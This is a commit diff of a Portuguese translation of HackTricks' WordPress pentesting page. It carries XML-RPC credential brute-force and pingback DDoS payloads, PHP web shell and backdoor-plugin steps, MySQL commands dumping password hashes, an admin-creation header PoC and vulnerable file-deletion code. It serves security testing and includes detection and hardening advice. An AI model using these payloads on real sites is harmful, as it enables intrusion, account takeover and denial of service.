mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network
This commit is contained in:
parent
e6ac246259
commit
4e0451e592
@ -4,47 +4,47 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
- **Arquivos enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- No **wp-config.php** você pode encontrar a senha root do banco de dados.
|
||||
- Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** you can find the root password of the database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Principais Arquivos do WordPress**
|
||||
### **Arquivos Principais do WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contém informações úteis, como a versão do WordPress instalada.
|
||||
- `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
|
||||
- `wp-activate.php` é usado para o processo de ativação por email ao configurar um novo site WordPress.
|
||||
- Pastas de login (podem ser renomeadas para ocultá-las):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pelo WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress REST API.
|
||||
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
|
||||
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
|
||||
- `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias consultáveis publicamente.
|
||||
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todos os posts públicos e tipos de post e taxonomias publicamente consultáveis.
|
||||
|
||||
**Pós-exploração**
|
||||
|
||||
- O arquivo `wp-config.php` contém informações necessárias pelo WordPress para conectar-se ao banco de dados, como nome do banco, host, usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.
|
||||
- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
|
||||
|
||||
### Permissões de Usuários
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Publica e gerencia seus e outros posts
|
||||
- **Author**: Publica e gerencia seus próprios posts
|
||||
- **Contributor**: Escreve e gerencia seus posts, mas não pode publicá-los
|
||||
- **Subscriber**: Visualiza posts e edita seu perfil
|
||||
- **Administrador**
|
||||
- **Editor**: Publica e gerencia suas e outras publicações
|
||||
- **Autor**: Publica e gerencia suas próprias publicações
|
||||
- **Colaborador**: Escreve e gerencia suas publicações, mas não pode publicá-las
|
||||
- **Assinante**: Navega pelas publicações e edita seu perfil
|
||||
|
||||
## **Enumeração Passiva**
|
||||
|
||||
### **Obter versão do WordPress**
|
||||
|
||||
Verifique se consegue encontrar os arquivos `/license.txt` ou `/readme.html`
|
||||
Verifique se você consegue encontrar os arquivos `/license.txt` ou `/readme.html`
|
||||
|
||||
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- arquivos de link CSS
|
||||
- Arquivos CSS vinculados
|
||||
|
||||
.png>)
|
||||
|
||||
- arquivos JavaScript
|
||||
- Arquivos JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Enumeração ativa
|
||||
|
||||
### Plugins e Temas
|
||||
### Plugins and Themes
|
||||
|
||||
Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins e Temas** (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas).
|
||||
Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins and Themes** (espero que existam ferramentas automatizadas que contenham essas listas).
|
||||
|
||||
### Usuários
|
||||
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress por Brute Forcing os IDs de usuário:
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress por Brute Forcing os IDs de usuários:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -99,19 +99,19 @@ Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuário
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm este recurso ativado serão fornecidas**.
|
||||
Observe que este endpoint expõe apenas usuários que fizeram uma publicação. **Somente informações sobre os usuários que tiverem esse recurso ativado serão fornecidas**.
|
||||
|
||||
Também note que **/wp-json/wp/v2/pages** pode leak endereços IP.
|
||||
Além disso, observe que **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente**, indicando se o **username** existe ou não.
|
||||
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`** a **mensagem** é **diferente** ao indicar se o **username** existe ou não.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS contra outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Se `xml-rpc.php` estiver ativo você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isto](https://github.com/relarizky/wpxploit), por exemplo).
|
||||
|
||||
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição:
|
||||
|
||||
**Verificar**
|
||||
**Verifique**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -122,7 +122,7 @@ Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requ
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar qualquer um deles, pode enviar algo como:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar qualquer um deles, você pode enviar algo como:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -138,7 +138,7 @@ A mensagem _"Incorrect username or password"_ dentro de uma resposta com código
|
||||
|
||||
.png>)
|
||||
|
||||
Usando as credenciais corretas você pode enviar um arquivo. Na resposta o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Usando as credenciais corretas você pode fazer upload de um arquivo. Na resposta o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Usando as credenciais corretas você pode enviar um arquivo. Na resposta o camin
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Também existe uma maneira **mais rápida** de brute-force credenciais usando **`system.multicall`** já que você pode testar várias credenciais na mesma requisição:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
**Contornar 2FA**
|
||||
|
||||
Este método é feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tem credenciais válidas mas a entrada principal está protegida por 2FA, **você pode conseguir abusar do xmlrpc.php para fazer login com essas credenciais contornando a 2FA**. Note que você não conseguirá executar todas as ações que pode fazer através do console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Esse método foi pensado para programas e não para humanos, e é antigo; portanto não suporta 2FA. Então, se você tem credenciais válidas mas a entrada principal está protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas credenciais contornando a 2FA**. Observe que você não poderá executar todas as ações que pode fazer através do console, mas ainda assim pode chegar a RCE como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
**DDoS ou port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
Se você encontrar o método _**pingback.ping**_ dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.\
|
||||
Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress **acessem** um único **local** (causando assim um **DDoS** naquele local) ou você pode usá-lo para fazer o **Wordpress** realizar um **scan** de alguma **rede** interna (você pode indicar qualquer porta).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
|
||||
```
|
||||

|
||||
|
||||
Se você obter **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
|
||||
Se você obtiver **faultCode** com um valor **maior** do que **0** (17), isso significa que a porta está aberta.
|
||||
|
||||
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS.
|
||||
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado** uma consulta MySQL **"pesada"** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Este arquivo normalmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **causar** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
|
||||
Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
|
||||
Recomenda-se desativar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Worpress pode fazer uma requisição para você.
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma requisição para você.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Esta ferramenta verifica se existe **methodName: pingback.ping** e o path **/wp-json/oembed/1.0/proxy** e, se existir, tenta explorá-los.
|
||||
Esta ferramenta verifica se existe o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy**, e se existirem, tenta explorá-los.
|
||||
|
||||
## Ferramentas Automáticas
|
||||
```bash
|
||||
@ -240,26 +240,26 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obter acesso sobrescrevendo um bit
|
||||
|
||||
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para fazer NOP na operação NOT (`!`).
|
||||
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **Painel RCE**
|
||||
|
||||
**Modifying a php from the theme used (admin credentials needed)**
|
||||
**Modificando um php do tema usado (credenciais admin necessárias)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (à direita)
|
||||
Aparência → Editor de Temas → Template 404 (à direita)
|
||||
|
||||
Change the content for a php shell:
|
||||
Substitua o conteúdo por um php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Pesquise na internet como acessar essa página atualizada. Nesse caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
You can use:
|
||||
Você pode usar:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -270,19 +270,19 @@ para obter uma sessão.
|
||||
### PHP plugin
|
||||
|
||||
Pode ser possível fazer upload de arquivos .php como um plugin.\
|
||||
Crie seu php backdoor usando por exemplo:
|
||||
Crie seu backdoor php usando, por exemplo:
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
Depois adicione um novo plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Upload plugin and press Install Now:
|
||||
Faça upload do plugin e pressione Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Clique em Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -298,36 +298,36 @@ Acesse-o e você verá a URL para executar o reverse shell:
|
||||
|
||||
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma:
|
||||
|
||||
1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB como [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
1. **Aquisição do plugin**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalação do plugin**:
|
||||
- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`.
|
||||
- Faça upload do arquivo zip do plugin baixado.
|
||||
3. **Plugin Activation**: Uma vez que o plugin seja instalado com sucesso, ele deve ser ativado através do dashboard.
|
||||
- Faça o upload do arquivo zip do plugin baixado.
|
||||
3. **Ativação do plugin**: Depois que o plugin for instalado com sucesso, ele deve ser ativado através do dashboard.
|
||||
4. **Exploitation**:
|
||||
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável.
|
||||
- O Metasploit framework fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
|
||||
- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
|
||||
O conteúdo inclui auxílios visuais que descrevem os passos no WordPress dashboard para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como testes de penetração (pentesting) com permissão explícita.
|
||||
O conteúdo inclui auxílios visuais mostrando os passos no WordPress dashboard para instalar e ativar o plugin. Contudo, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## De XSS para RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações ver [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Cria um user no WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faça upload do seu custom plugin (backdoor) para o WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edita plugins Built-In no WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edita temas Built-In no WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits para Third-Party WordPress Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações veja [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele oferece suporte para as versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:
|
||||
- _**Privilege Escalation:**_ Cria um usuário no WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits customizados para plugins/temas WordPress de terceiros.
|
||||
|
||||
## Post Exploitation
|
||||
## Pós-exploração
|
||||
|
||||
Extrair usernames e passwords:
|
||||
Extraia nomes de usuário e senhas:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Alterar a senha do administrador:
|
||||
Alterar senha do admin:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
@ -335,21 +335,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superfície de Ataque
|
||||
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos pontos a seguir e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em seu funcionamento. Você pode descobrir como um plugin pode expor funcionalidades nos itens a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uma das formas pelas quais um plugin pode expor funções aos usuários é via handlers AJAX. Esses handlers podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância Wordpress pode ter** (independentemente do seu papel).
|
||||
Uma das maneiras que um plugin pode expor funções para usuários é via AJAX handlers. Eles podem conter logic, authorization, ou authentication bugs. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu papel).
|
||||
|
||||
Estas são as funções que podem ser usadas para expor uma função em um plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (até mesmo não autenticados).**
|
||||
**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (mesmo não autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica se o usuário está logado; normalmente ela não verifica o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de alto privilégio.
|
||||
> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica que o usuário está logado, geralmente não verifica o papel (role) do usuário. Então usuários com poucos privilégios podem ter acesso a ações de alto privilégio.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` é uma callback para função que verifica se um dado usuário está autorizado a chamar o método da API.
|
||||
The `permission_callback` é um callback para uma função que verifica se um dado usuário está autorizado a chamar o método da API.
|
||||
|
||||
**Se a função built-in `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.**
|
||||
**Se a função interna `__return_true` for usada, ela simplesmente vai pular a verificação de permissões do usuário.**
|
||||
|
||||
- **Acesso direto ao arquivo php**
|
||||
- **Direct access to the php file**
|
||||
|
||||
Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Então, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela será explorável por qualquer usuário.
|
||||
Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver vinculado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e atingir rotas REST privilegiadas como administrador.
|
||||
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador.
|
||||
|
||||
- Impacto: escalonamento de privilégios não autenticado para admin ao criar um novo administrador via a rota REST core users.
|
||||
- Exemplo de header: `X-Wcpay-Platform-Checkout-User: 1` (força o user ID 1, tipicamente a primeira conta de administrador).
|
||||
- Rota explorada: `POST /wp-json/wp/v2/users` com um array de role elevado.
|
||||
- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o ID do usuário 1, tipicamente a primeira conta de administrador).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -399,32 +399,23 @@ Por que funciona
|
||||
Indicadores de sucesso esperados
|
||||
|
||||
- HTTP 201 com um corpo JSON descrevendo o usuário criado.
|
||||
- Um novo usuário administrador visível em `wp-admin/users.php`.
|
||||
- Um novo usuário admin visível em `wp-admin/users.php`.
|
||||
|
||||
Lista de verificação de detecção
|
||||
Checklist de detecção
|
||||
|
||||
- Procurar por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de fornecedores que leem cabeçalhos personalizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisar registros de REST para callbacks privilegiados que não possuem verificações robustas de `permission_callback` e, em vez disso, dependem dos cabeçalhos da requisição.
|
||||
- Procurar por usos das funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de manipuladores REST que são protegidos apenas por valores de cabeçalho.
|
||||
- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou vendor SDKs que leem cabeçalhos customizados para definir o contexto do usuário (ex.: `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revise registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de cabeçalhos da requisição.
|
||||
- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que sejam protegidos apenas por valores de cabeçalho.
|
||||
|
||||
Endurecimento
|
||||
|
||||
- Nunca derive autenticação ou autorização a partir de cabeçalhos controlados pelo cliente.
|
||||
- Se um reverse proxy precisar injetar identidade, termine a confiança no proxy e remova cópias recebidas (por exemplo, `unset X-Wcpay-Platform-Checkout-User` na borda), então passe um token assinado e verifique-o server-side.
|
||||
- Para rotas REST que executam ações privilegiadas, exija verificações `current_user_can()` e um `permission_callback` estrito (NÃO use `__return_true`).
|
||||
- Prefira autenticação de primeira parte (cookies, application passwords, OAuth) em vez de “impersonation” via cabeçalhos.
|
||||
|
||||
Referências: veja os links no final desta página para um caso público e uma análise mais ampla.
|
||||
|
||||
### Exclusão arbitrária de arquivos sem autenticação via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
1. A **verificação de capability** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
3. **Sanitização / validação estrita da entrada**.
|
||||
|
||||
O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na *Remove Font Family* feature e acabou distribuindo o seguinte código (simplificado):
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -443,13 +434,15 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
- **Acesso não autenticado** – the `wp_ajax_nopriv_` hook is registered.
|
||||
- **No nonce / capability check** – qualquer visitante pode acessar o endpoint.
|
||||
